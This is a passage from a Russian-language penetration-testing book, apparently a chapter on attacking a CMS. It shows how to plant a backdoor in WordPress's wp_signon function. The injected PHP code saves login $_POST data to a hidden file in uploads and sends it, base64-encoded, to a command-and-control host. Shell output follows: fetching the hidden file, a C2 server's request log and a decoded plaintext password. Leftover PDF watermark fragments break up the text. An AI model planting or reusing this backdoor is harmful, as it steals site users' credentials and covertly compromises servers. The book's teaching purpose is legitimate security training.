Следуетотметить,чтотакойтипутечкиданныхможетпривестикзаметным задержкам на сайте, и пользователи заподозрят неладное. Если скрытность имеет первостепенное значение, возможно, лучше хранить данные локально, извлекать их через интернет и удалять после завершения задания.
Длянаписаниянашегопохитителяучетныхданныхможноиспользоватьодну (или обе) строку приведенного ниже кода.
file_put_contents('wp-content/uploads/.index.php.swp', base64_encode(json_encode($_POST)) . PHP_EOL, FILE_APPEND);
@file_get_contents('http://pingback.c2.spider.ml/ping.php?id=' . base64_encode(json_encode($_POST)));
Напомним, что во время входа пользователя в систему наш бэкдор сделает следующее.
1.Получит учетные данные открытого текста, хранящиеся в глобальной переменной $_POST.
2.Зашифрует их в форматы JSON и Base64 для легкой передачи и маски-
ровки.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
|
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
Взлом кода с помощью бэкдора 347 BUY |
|
|
||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
m |
|
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
3. Сохранит их на диске в файле wp-content/uploads/.index.php.swp. |
|
|
p |
|
|
|
|
|
|
|
|||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
df |
|
|
n |
e |
|
||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
4. |
Отправит их на наш командно-контрольный сервер http://pingback. |
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
c2.spider.ml/ping.php. |
|
|
|
|
|
|
|
|
|
|
|
|
Код бэкдора будет добавлен непосредственно перед возвратом функции
wp_signon.
Мы получаем гарантию, что собираем только актуальные учетные данные. Функция wp_signon будет возвращаться задолго до нашего кода, если предоставленные учетные данные станут неактуальными.
Нам нужно внедрить свой код в соответствующее место в файле wp-in-
cludes/user.php.
Учетные данные проверяются функцией wp_signon и считаются актуальными в конце функции,перед последним оператором return.Воткуда нужно поместить наш код.
<?php
/**
*Core User API
*@package WordPress
*@subpackage Users
*/
[...]
function wp_signon( $credentials = array(), $secure_cookie = '' )
{
[...]
if ( is_wp_error($user) ) {
if ( $user->get_error_codes() == array('empty_username', 'empty_password') ) {
$user = new WP_Error('', '');
}
return $user;
}
file_put_contents('wp-content/uploads/.index.php.swp', base64_encode(json_encode($_POST)) . PHP_EOL, FILE_APPEND);
@file_get_contents('http://pingback.c2.spider.ml/ping.php?id=' . base64_encode(json_encode($_POST)));
wp_set_auth_cookie($user->ID, $credentials['remember'], $secure_cookie);
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
NOW! |
o |
|
P |
|
|
|
|
|
NOW! |
o |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||||||||
w Click |
to |
BUY 348 Глава 12.Атака на CMS |
w Click |
to |
|
|
|
|
|
|
||||||||||||||
|
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
|
m |
||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
df |
|
|
n |
e |
|
/** |
|
|
|
df |
|
|
n |
e |
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
*Fires after the user has successfully logged in.
*@since 1.5.0
*
* @param string $user_login Username.
* @param WP_User $user WP_User object of the logged-in user. */
do_action( 'wp_login', $user->user_login, $user ); return $user;
}
Как только пользователь (или два-три) успешно войдет в систему, увидим учетные данные в виде простого текста в файле wp-content/uploads/.index.
php.swp.
root@kali:~# curl http://cookingwithfire.local/ wp-content/uploads/.index.php.swp
eyJsb2ciOiJtc21pdGgiLCJwd2QiOiJpWVFOKWUjYTRzKnJMZTdaaFdoZlMmXnYiLCJ3c
C1zdWJtaXQiOiJMb2cgSW4iLCJyZWRpcmVjdF90byI6Imh0dHA6XC9cL2Nvb2tpbmd3aX
RoZmlyZS5sb2NhbFwvd3AtYWRtaW5cLyIsInRlc3Rjb29raWUiOiIxIn0=
root@kali:~#
Командно-контрольный сервер записалте же учетныеданные в журнале соединений.
root@spider-c2-1:~/c2# php -S 0.0.0.0:80
PHP 7.0.27-0+deb9u1 Development Server started Listening on http://0.0.0.0:80
Document root is /root/c2 Press Ctrl-C to quit.
[] 192.30.89.138:53039 [200]:
/ping.php?id=eyJsb2ciOiJtc21pdGgiLCJwd2QiOiJpWVFOKWUjYTRzKnJMZTdaaFdo
ZlMmXnYiLCJ3cC1zdWJtaXQiOiJMb2cgSW4iLCJyZWRpcmVjdF90byI6Imh0dHA6XC9cL
2Nvb2tpbmd3aXRoZmlyZS5sb2NhbFwvd3AtYWRtaW5cLyIsInRlc3Rjb29raWUiOiIxIn
0=
Если расшифруем данные в формате Base64,то увидим пароль msmith.
root@kali:~# curl -s http://cookingwithfire.local/
wp-content/uploads/.index.php.swp | base64 -d {"log":"msmith","pwd":"iYQN)e#a4s*rLe7ZhWhfS&^v","wp-submit":
"Log In","redirect_to":"http:\/\/cookingwithfire.local\
/wp-admin\/","testcookie":"1"}